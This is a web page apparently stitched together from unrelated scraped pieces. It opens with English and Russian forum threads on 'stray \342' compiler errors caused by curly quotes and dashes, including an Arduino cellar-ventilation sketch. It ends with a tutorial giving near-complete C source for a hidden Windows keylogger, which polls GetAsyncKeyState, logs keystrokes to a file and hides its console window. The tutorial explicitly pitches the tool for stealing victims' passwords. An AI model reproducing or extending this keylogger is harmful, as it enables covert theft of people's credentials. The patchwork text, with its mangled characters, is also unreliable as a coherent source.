Hey,
A few days ago I bought the book «Beginning c++ game programming» by Michael Dawson.I installed the DEV-C++ compiler that was included on the cd, and tried to compile and run the example he used for a first program:
// Game Over
// A first C++ program
#include <iostream>
int main()
{
std::cout << “Game Over!” << std::endl;
std::cout << “Press the enter key to exit”;
std::cin.ignore(std::cin.rdbuf()->in_avail() + 1);
return 0;
}
When trying to compile it i get all sorts of errors. here’s the compile log:
Compiler: Default compiler
Executing g++.exe…
g++.exe «C:Dev-CppExamplesgame_over.cpp» -o «C:Dev-CppExamplesgame_over.exe» -I»C:Dev-Cppincludec++» -I»C:Dev-Cppincludec++mingw32″ -I»C:Dev-Cppincludec++backward» -I»C:Dev-Cppinclude» -L»C:Dev-Cpplib»
C:/Dev-Cpp/Examples/game_over.cpp: In function `int main()’:
C:/Dev-Cpp/Examples/game_over.cpp:9: stray ‘223’ in program
C:/Dev-Cpp/Examples/game_over.cpp:9: `Game’ undeclared (first use this
function)
C:/Dev-Cpp/Examples/game_over.cpp:9: (Each undeclared identifier is reported
only once for each function it appears in.)
C:/Dev-Cpp/Examples/game_over.cpp:9: parse error before `!’ token
C:/Dev-Cpp/Examples/game_over.cpp:9: stray ‘224’ in program
C:/Dev-Cpp/Examples/game_over.cpp:11: stray ‘223’ in program
C:/Dev-Cpp/Examples/game_over.cpp:11: `Press’ undeclared (first use this
function)
C:/Dev-Cpp/Examples/game_over.cpp:11: parse error before `enter’
C:/Dev-Cpp/Examples/game_over.cpp:11: stray ‘224’ in program
Execution terminated
Any1 know whats wrong? any help apreciated
Jan Eirik
I don’t think it likes your quotes (“ and ”). You should use straight quotes («) for string literals.
Ra
Ummm just a question…
Are you using single apostrophes as in » or the double apostrophe «? Something about that stray 223 and 224 making me think tis is an ASCII problem, in C this is how character octets are shown. Am i wrong? Anyone else?
I agree with Ra. Going somewhat off topic — Why on earth does Dev-Cpp decide to print out the ASCII codes in octal? What’s wrong with hex, decimal, or even the character itself?
woho, it worked! thx Have to say the error messages the compiler produces are kinda confusing and hard to understand.. ahh well guess it gets easier by the time
thx again
Just a side note, I don’t think I’ve ever met or talked to anyone who used angled quotes.
Quote:Original post by Oberon_Command
Just a side note, I don’t think I’ve ever met or talked to anyone who used angled quotes.
A thing to remember is that sometimes different fonts when copied are translated wrong by windows when pasting into the IDEs. I’ve seen code when copied from the web that will not compile properly because of how it was copied to the clipboard. Most code from books I»ve seen don’t do this, but I think I’ve had a few that did.
-
//——————————-таймер вызова подпрограммы ————
if (time == 0){
//подпрограмма
readTemp();}
else{
time —;
}Arduino: 1.6.12 (Windows 7), Плата:»Arduino Nano, ATmega328″
test_seti_2:79: error: stray ‘342’ in program
time —;
^
test_seti_2:79: error: stray ‘200’ in program
test_seti_2:79: error: stray ‘224’ in program
exit status 1
stray ‘342’ in programкак исправить данную ошибку ?
Последнее редактирование: 20 ноя 2016
-
на этот бред и ругается.
P.S. Пожалуйста, оформляйте код правильно (9-я кнопка в этом редакторе).
-
что нужно изменить чтоб он работал ?
-
Нет, ругается он явно на кодировки.
-
Я ж не знаю что должна делать эта программа.
Возможно так:Если ругается на кодировки, то все сомнительные буковки (русская ‘о’ и латинская ‘o’ выглядят одинаково) надо переписать корректно.
-
исправил ошибка ушла
if (time == 0){
//подпрограмма
readTemp();}
else{
time —;
}полная версия кода
// IDE 1.5.2
//———————— PIN ETHERNET ENC28J60—————
//Ethetnet Arduino UNO
//VCC +3.3V
//GND GND
//CS(SS) D10
//SI(MOSI) D11
//SO(MISO) D12
//SCK D13
//———————— PIN ETHERNET ENC28J60—————#include «DHT.h»
#include <EtherCard.h>
#include <EEPROM.h>
#define DHTPIN 2 // what pin we’re connected to
#define DHTTYPE DHT11 // DHT 11
//#define DHTTYPE DHT22 // DHT 22 (AM2302)
//#define DHTTYPE DHT21 // DHT 21 (AM2301)
// Connect pin 1 (on the left) of the sensor to +5V
// Connect pin 2 of the sensor to whatever your DHTPIN is
// Connect pin 4 (on the right) of the sensor to GROUND
// Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor
DHT dht(DHTPIN, DHTTYPE);static byte mymac[] = {0xDD,0xDD,0xDD,0x00,0x00,0x01};
static byte myip[] = {192,168,88,24};
byte Ethernet::buffer[1100];//float h ;
//float t ;byte vlaga = 75;
int temp = 55;
int vent =85;int pot; // переменная датчика затопления
byte vf; // переменная для значения влаги во флеше#define VlagInPin 3 // Пин для подключения Датчика затопления
#define RelPin 4 // Пин реле упраления вентиляции
#define PotPin 5 // Пин реле клапана воды , сирены,откачивающего насоса, отключение гидрофора от «Датчика затопления»unsigned long time = 0;
void setup () {
Serial.begin(115200);
Serial.println( «Bolshoy podval 192.168.88.24»);
if (!ether.begin(sizeof Ethernet::buffer, mymac, 10))
Serial.println( «Failed to access Ethernet controller»);
else
Serial.println(«Ethernet controller initialized»);if(!ether.staticSetup(myip))
Serial.println(«Failed to set IP address»);dht.begin();
pinMode(VlagInPin, INPUT);
pinMode(RelPin, OUTPUT);
digitalWrite(RelPin, HIGH);
pinMode(PotPin, OUTPUT);
digitalWrite(PotPin, HIGH);vent = EEPROM.read(0);
}void loop(){
if (vlaga >= vent) {digitalWrite(RelPin, LOW);}
else if(vlaga <= (vent—2)) {digitalWrite(RelPin, HIGH);}//——————————-таймер вызова подпрограммы ————
if (time == 0){
//подпрограмма
readTemp();}
else{
time —;
}
//———————————————————————word len = ether.packetReceive();
word pos = ether.packetLoop(len);if(pos) {
Serial.println();
//boolean password_valid = true;// is it a POST request?
if(strstr((char *)Ethernet::buffer + pos, «POST /») != 0) {}
if(strstr((char *)Ethernet::buffer + pos, «minus») != 0) {
if (vent < 1) {vent = 100;}
else vent—;
EEPROM.write(0, vent);
}
if(strstr((char *)Ethernet::buffer + pos, «plus») != 0) {
vent++;
if (vent > 100) {vent = 0;}
EEPROM.write(0, vent);
}
// —————————————————————————-—// Output HTML page
BufferFiller bfill = ether.tcpOffset();
bfill.emit_p(PSTR(«HTTP/1.0 200 OKrn«
«Content-Type: text/htmlrnPragma: no-cachernrn«
«<meta http-equiv=’refresh’ content=’5’/>» // автообновление странички каждый 5 сек
«<html><head><title>Большой подвал Басейна</title></head>»
«<html><body>»
«<H1>Большой подвал басейна</H1>»«<form method=«POST«>»));
bfill.emit_p(PSTR(«<table border=«1«>»
«<tr><td>Температура</td><td> $D °C </td></tr>»
«<tr><td>Влажность</td><td> $D % </td></tr>»
«<tr><td>Вкл Вент</td><td> $D %</div></td></tr>»
«</table>»),temp,vlaga,vent);bfill.emit_p(PSTR(«<button name=«plus«>+</button></div>»));
bfill.emit_p(PSTR(«<button name=«minus«>-</button></div>»));bfill.emit_p(PSTR(«</form></body></html>»));
ether.httpServerReply(bfill.position());
}
}void readTemp(){ //—————————————-Чтение температуры —————————
vlaga = dht.readHumidity();
temp = dht.readTemperature();
time = 100000;
} -
Добрый день!
Приобрел датчик DHT22, работает ровно несколько минут, после выдает ошибку «dht11 start condition 1 not met», следом «dht11 start condition 2 not met» дважды и тишина.
Arduino uno, библиотека стандартная DHT, пример DHTtester.ino -
Интересно, что с библиотекой shDHT, работает отлично!
-
у тебя датчик DTH 22 после выдал ошибку о датчике dth 11? а ты правильно скетч отредактировал ?
-
код можешь выложить ?
у меня так выглядит
//выбор используемого датчика
#define DHTTYPE DHT11 // DHT 11
//#define DHTTYPE DHT22 // DHT 22 (AM2302)
//#define DHTTYPE DHT21 // DHT 21 (AM2301)// Подключить pin 1 датчика DHT (считаем слева) к питанию +5V
// Подключить pin 2 датчика DHT к выводу указанному выше переменной DHTPIN
// Подключить pin 4 датчика DHT (on the right) к минусу питания 0V
// Подключить 10K сопротивление между pin 2 (data) и pin 1 (+5В) на датчике DHT//инициализация датчика
DHT dht(DHTPIN, DHTTYPE);
int VlagInPin = 3; // Пин для подключения Датчика затопления
int RelPin = 4; // Пин реле упраления вентиляции
int PotPin = 5; // Пин реле клапана воды , сирены,откачивающего насоса, отключение гидрофора от «Датчика затопления»
byte vlaga = 75;
int temp = 55;
int vent =85;
int pot; // переменная датчика затопления
byte vf; // переменная для значения влаги во флеше -
Стандартный код из библиотеки DHT, пример DHTtester
// Example testing sketch for various DHT humidity/temperature sensors
// Written by ladyada, public domain#include «DHT.h»
#define DHTPIN 2 // what pin we’re connected to
// Uncomment whatever type you’re using!
//#define DHTTYPE DHT11 // DHT 11
#define DHTTYPE DHT22 // DHT 22 (AM2302)
//#define DHTTYPE DHT21 // DHT 21 (AM2301)// Connect pin 1 (on the left) of the sensor to +5V
// Connect pin 2 of the sensor to whatever your DHTPIN is
// Connect pin 4 (on the right) of the sensor to GROUND
// Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensorDHT dht(DHTPIN, DHTTYPE);
void setup() {
Serial.begin(9600);
Serial.println(«DHTxx test!»);dht.begin();
}Ничего не перепутано.
Помогите разобраться новичку
Offline
Зарегистрирован: 04.08.2020
Доброго дня уважаемые гуру! Помогите разобраться новичку в написании кода! Я понимаю что сейчас закидаете меня тапками, но все же!
Имеем вот такой код, при компиляции происходит ошибка!
#define NUM_READINGS 20 const int fanPwmOutPin = 6; const int tempSensorPin = A0; int average = 0; int currAverage = 0; void setup() { Serial.begin(115200); analogReference (EXTERNAL) ; analogRead (tempSensorPin) ; analogWrite(fanPwmOutPin, 0); } void loop() { currAverage = 0; readTempSensorPin(); send_PWM(); print_to_serial_port(); } void readTempSensorPin() { //20 — 43 //25 — 83 //30 — 143 //35 — 208 //40 — 265 //45 — 330 //50 — 390 //55 — 445 //60 — 508 //65 — 550 //70 — 593 //75 — 637 //80 — 680 //85 — 712 //90 — 745 //95 — 773 long sum = 0; for (int i = 0; i < NUM_READINGS; i++) { sum += 1023 — analogRead(tempSensorPin); delay(50); } average = sum / NUM_READINGS; if ((average >= 1020) && (average <= 1023)) { currAverage = 0; } else if ((average > 0) && (average <= 680)) { currAverage = 0; } else if ((average >= 681) && (average <= 750)) { currAverage = map(average, 681, 750, 0, 255); } else if (average >= 751) { currAverage = 255; } // currAverage = min(255, currAverage); } void send_PWM() { analogWrite(fanPwmOutPin, currAverage); }
C:Program Files (x86)Arduinoarduino-builder -dump-prefs -logger=machine -hardware C:Program Files (x86)Arduinohardware -hardware C:UsersArtemAppDataLocalArduino15packages -tools C:Program Files (x86)Arduinotools-builder -tools C:Program Files (x86)Arduinohardwaretoolsavr -tools C:UsersArtemAppDataLocalArduino15packages -built-in-libraries C:Program Files (x86)Arduinolibraries -libraries C:UsersArtemDocumentsArduinolibraries -fqbn=arduino:avr:nano:cpu=atmega328old -vid-pid=1A86_7523 -ide-version=10813 -build-path C:UsersArtemAppDataLocalTemparduino_build_345615 -warnings=none -build-cache C:UsersArtemAppDataLocalTemparduino_cache_467465 -prefs=build.warn_data_percentage=75 -prefs=runtime.tools.avr-gcc.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsavr-gcc7.3.0-atmel3.6.1-arduino5 -prefs=runtime.tools.avr-gcc-7.3.0-atmel3.6.1-arduino5.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsavr-gcc7.3.0-atmel3.6.1-arduino5 -prefs=runtime.tools.arduinoOTA.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsarduinoOTA1.3.0 -prefs=runtime.tools.arduinoOTA-1.3.0.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsarduinoOTA1.3.0 -prefs=runtime.tools.avrdude.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsavrdude6.3.0-arduino17 -prefs=runtime.tools.avrdude-6.3.0-arduino17.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsavrdude6.3.0-arduino17 -verbose C:UsersArtemDocumentsArduinosketch_aug04csketch_aug04c.ino
C:Program Files (x86)Arduinoarduino-builder -compile -logger=machine -hardware C:Program Files (x86)Arduinohardware -hardware C:UsersArtemAppDataLocalArduino15packages -tools C:Program Files (x86)Arduinotools-builder -tools C:Program Files (x86)Arduinohardwaretoolsavr -tools C:UsersArtemAppDataLocalArduino15packages -built-in-libraries C:Program Files (x86)Arduinolibraries -libraries C:UsersArtemDocumentsArduinolibraries -fqbn=arduino:avr:nano:cpu=atmega328old -vid-pid=1A86_7523 -ide-version=10813 -build-path C:UsersArtemAppDataLocalTemparduino_build_345615 -warnings=none -build-cache C:UsersArtemAppDataLocalTemparduino_cache_467465 -prefs=build.warn_data_percentage=75 -prefs=runtime.tools.avr-gcc.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsavr-gcc7.3.0-atmel3.6.1-arduino5 -prefs=runtime.tools.avr-gcc-7.3.0-atmel3.6.1-arduino5.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsavr-gcc7.3.0-atmel3.6.1-arduino5 -prefs=runtime.tools.arduinoOTA.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsarduinoOTA1.3.0 -prefs=runtime.tools.arduinoOTA-1.3.0.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsarduinoOTA1.3.0 -prefs=runtime.tools.avrdude.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsavrdude6.3.0-arduino17 -prefs=runtime.tools.avrdude-6.3.0-arduino17.path=C:UsersArtemAppDataLocalArduino15packagesarduinotoolsavrdude6.3.0-arduino17 -verbose C:UsersArtemDocumentsArduinosketch_aug04csketch_aug04c.ino
Using board ‘nano’ from platform in folder: C:UsersArtemAppDataLocalArduino15packagesarduinohardwareavr1.8.2
Using core ‘arduino’ from platform in folder: C:UsersArtemAppDataLocalArduino15packagesarduinohardwareavr1.8.2
Detecting libraries used…
«C:\Users\Artem\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\7.3.0-atmel3.6.1-arduino5/bin/avr-g++» -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -Wno-error=narrowing -flto -w -x c++ -E -CC -mmcu=atmega328p -DF_CPU=16000000L -DARDUINO=10813 -DARDUINO_AVR_NANO -DARDUINO_ARCH_AVR «-IC:\Users\Artem\AppData\Local\Arduino15\packages\arduino\hardware\avr\1.8.2\cores\arduino» «-IC:\Users\Artem\AppData\Local\Arduino15\packages\arduino\hardware\avr\1.8.2\variants\eightanaloginputs» «C:\Users\Artem\AppData\Local\Temp\arduino_build_345615\sketch\sketch_aug04c.ino.cpp» -o nul -DARDUINO_LIB_DISCOVERY_PHASE
Generating function prototypes…
«C:\Users\Artem\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\7.3.0-atmel3.6.1-arduino5/bin/avr-g++» -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -Wno-error=narrowing -flto -w -x c++ -E -CC -mmcu=atmega328p -DF_CPU=16000000L -DARDUINO=10813 -DARDUINO_AVR_NANO -DARDUINO_ARCH_AVR «-IC:\Users\Artem\AppData\Local\Arduino15\packages\arduino\hardware\avr\1.8.2\cores\arduino» «-IC:\Users\Artem\AppData\Local\Arduino15\packages\arduino\hardware\avr\1.8.2\variants\eightanaloginputs» «C:\Users\Artem\AppData\Local\Temp\arduino_build_345615\sketch\sketch_aug04c.ino.cpp» -o «C:\Users\Artem\AppData\Local\Temp\arduino_build_345615\preproc\ctags_target_for_gcc_minus_e.cpp» -DARDUINO_LIB_DISCOVERY_PHASE
«C:\Program Files (x86)\Arduino\tools-builder\ctags\5.8-arduino11/ctags» -u —language-force=c++ -f — —c++-kinds=svpf —fields=KSTtzns —line-directives «C:\Users\Artem\AppData\Local\Temp\arduino_build_345615\preproc\ctags_target_for_gcc_minus_e.cpp»
Компиляция скетча…
«C:\Users\Artem\AppData\Local\Arduino15\packages\arduino\tools\avr-gcc\7.3.0-atmel3.6.1-arduino5/bin/avr-g++» -c -g -Os -w -std=gnu++11 -fpermissive -fno-exceptions -ffunction-sections -fdata-sections -fno-threadsafe-statics -Wno-error=narrowing -MMD -flto -mmcu=atmega328p -DF_CPU=16000000L -DARDUINO=10813 -DARDUINO_AVR_NANO -DARDUINO_ARCH_AVR «-IC:\Users\Artem\AppData\Local\Arduino15\packages\arduino\hardware\avr\1.8.2\cores\arduino» «-IC:\Users\Artem\AppData\Local\Arduino15\packages\arduino\hardware\avr\1.8.2\variants\eightanaloginputs» «C:\Users\Artem\AppData\Local\Temp\arduino_build_345615\sketch\sketch_aug04c.ino.cpp» -o «C:\Users\Artem\AppData\Local\Temp\arduino_build_345615\sketch\sketch_aug04c.ino.cpp.o»
sketch_aug04c:45:17: error: stray ‘342’ in program
sum += 1024 — analogRead(tempSensorPin);
^
sketch_aug04c:45:18: error: stray ‘200’ in program
sum += 1024 — analogRead(tempSensorPin);
^
sketch_aug04c:45:19: error: stray ‘224’ in program
sum += 1024 — analogRead(tempSensorPin);
^
C:UsersArtemDocumentsArduinosketch_aug04csketch_aug04c.ino: In function ‘void readTempSensorPin()’:
sketch_aug04c:45:21: error: expected ‘;’ before ‘analogRead’
sum += 1024 — analogRead(tempSensorPin);
^~~~~~~~~~
exit status 1
stray ‘342’ in program
Aziikus 1 / 1 / 0 Регистрация: 02.06.2013 Сообщений: 40 |
||||
1 |
||||
Преобразование типов. Не конструктор не видит класс02.06.2013, 20:52. Показов 665. Ответов 5 Метки нет (Все метки)
Здравствуйте. В коде ниже, я хотел реализовать конвертер длин. Я создал 2 класса и при помощи 2 конструкторов хотел решить проблему преобразования типов. Если оставить один конструктор, то все работает, а с двумя выводит ошибку. Я начинающий и не могу додуматься как её можно исправить. Помогите решить эту проблему.
Ошибки: Кликните здесь для просмотра всего текста
||=== фыфыф, Debug ===| Заранее благодарен!
__________________
0 |
alsav22 5493 / 4888 / 831 Регистрация: 04.06.2011 Сообщений: 13,587 |
||||
02.06.2013, 21:37 |
2 |
|||
1 |
1 / 1 / 0 Регистрация: 02.06.2013 Сообщений: 40 |
|
03.06.2013, 15:32 [ТС] |
3 |
Я сделал как вы сказали, скомпилировалось, но возникла другая проблема. Все что не входит в if оно как то странным образом переводит в одно и то же значение равное: 8,12753e-044. Может кто нибудь знает почему так ?
0 |
5493 / 4888 / 831 Регистрация: 04.06.2011 Сообщений: 13,587 |
|
03.06.2013, 15:50 |
4 |
Все что не входит в if Вы хоть укажите, где это в коде…
0 |
Aziikus 1 / 1 / 0 Регистрация: 02.06.2013 Сообщений: 40 |
||||
03.06.2013, 17:42 [ТС] |
5 |
|||
Проблему решил. Спасибо что откликнулись. If в коде один и он находится в main. Левые значения выводились, как я понял, из за того что zn1 либо zn2 не использовались и из за ошибки в условии, метод void display() выводил на экран и значение zn1 первого класса и zn2 второго класса.
0 |
alsav22 |
03.06.2013, 18:26
|
Не по теме:
If в коде один и он находится в main. Один или не один… Кому-то интересно искать?
0 |
Hello friends, today I am going to teach you How to Code Keylogger in C Stepwise. Most of us are aware of the functionality of keyloggers. If not, let me give you some brief information about what keyloggers are and why they’re so important to hackers.
Keylogger Code in C |
What are Keyloggers?
Keyloggers, as the word itself suggests, function by logging or capturing keys or key strokes. Technically, a keylogger is a software tool or program which is used to capture key strokes that a user presses in real time. Further processing depends on the nature of the keylogger, whether it is a physical or remote keylogger. The technique of capturing key strokes is called keylogging. It’s hard to believe, but keylogging is the easiest method to hack someone’s password. All you need is a good keylogger, a good crypter, and the knowledge to spread your keylogger program. Thousands of keyloggers are available online for free, but all of these are either detectable by antivirus or, ironically, have a virus attached to hack the user. Clearly, we need to be cautious when using freely available keyloggers or cracked versions of paid keyloggers. But why should you become prey to other hackers when designing your own is damn easy? Most novice hackers or “script kiddies” think that coding a good keylogger is a difficult and tedious task but believe me, after reading this tutorial, it will become a routine task for you to code a keylogger. Today, I will teach you the inward and outward logic of keyloggers.
I have divided keylogger coding into a few parts to make it easier for Hackingloops users to properly understand. Let’s start by learning how to code keyloggers in C stepwise. As you all learned above, keyloggers capture keystrokes. There are several methods for capturing keys, such as capturing the keyboard API input and output: these are called API based keyloggers. You can also simply capture the keys after they get decoded by your OS. The hardware keyboard sends instructions to OS drivers, which decode every key pressed on the keyboard into useful alphabets.
Note: You can use Borland C compiler or Code blocks C compiler for coding, I usually prefer DEV C i.e. Borland C compiler.
Now, open any compiler and create a new project. Simply open a text file and name its “anything.cpp” (or anything that you wish).
So let’s start coding:
Step 1: Declaring header directives to include the standard functions
#include <iostream>
using namespace std; //used to avoid the compilation errors because of redefinition of variables.
#include <windows.h>
#include<winuser.h>
Right now we only need these three header directives. These are mandatory.
Step 2: Declaring global calls
int SaveLogs (int key_stroke, char *file);
void Stealth(); //Declare stealth function to make you keylogger hidden.
Step 3: Main Function (a mandatory field, this executes the complete code and separate functions or classes)
int main()
{
Stealth(); // This will call the stealth function.
char i; //Here we declare ‘i’ from the type ‘char’while (1) // Here we say ‘while (1)’ execute the code.
{
for(i = 8; i <= 190; i )
{
if (GetAsyncKeyState(i) == -32767)
SaveLogs (i,”MYLOGS.txt”); // This will send the value of ‘i’ and “MYLOGS.txt” to our SaveLogs function.
}
}
system (“PAUSE”); // Here we say that the systems have to wait before exiting.
return 0;
}/************************************Separator********/
Step 4: Writing capturing keys logic
int SaveLogs (int key_stroke, char *file) // Here we define our SaveLogs function.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, “a “);
cout << key_stroke << endl;if (key_stroke ==
// The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, “%s”, “[BACKSPACE]”);
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, “%s”, “n”);
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, “%s”, ” “);
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, “%s”, “[TAB]”);
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, “%s”, “[SHIFT]”);
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, “%s”, “[CONTROL]”);
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, “%s”, “[ESCAPE]”);
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, “%s”, “[END]”);
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, “%s”, “[HOME]”);
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, “%s”, “[LEFT]”);
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, “%s”, “[UP]”);
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, “%s”, “[RIGHT]”);
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, “%s”, “[DOWN]”);
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, “%s”, “.”);
else
fprintf(OUTPUT_FILE, “%s”, &key_stroke);fclose (OUTPUT_FILE);
return 0;
}/************************************Seperator********/
Step 5: Stealth function
This part of the code will help you hide your keylogger from your victim and keep the program window hidden.
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA(“ConsoleWindowClass”, NULL);
ShowWindow(Stealth,0);
}
Step 6: Email Function
Will be explained later.
Compiling your code will generate one binary or exe file. That is your keylogger!
I hope you enjoyed the article. Step 6 is not disclosed because I want to explain the difference between a physical keylogger and a remote keylogger. You might have realized that this is a physical keylogger: you can only view data on the same machine on which the binary is running.
If you have any doubts, please ask in the comments.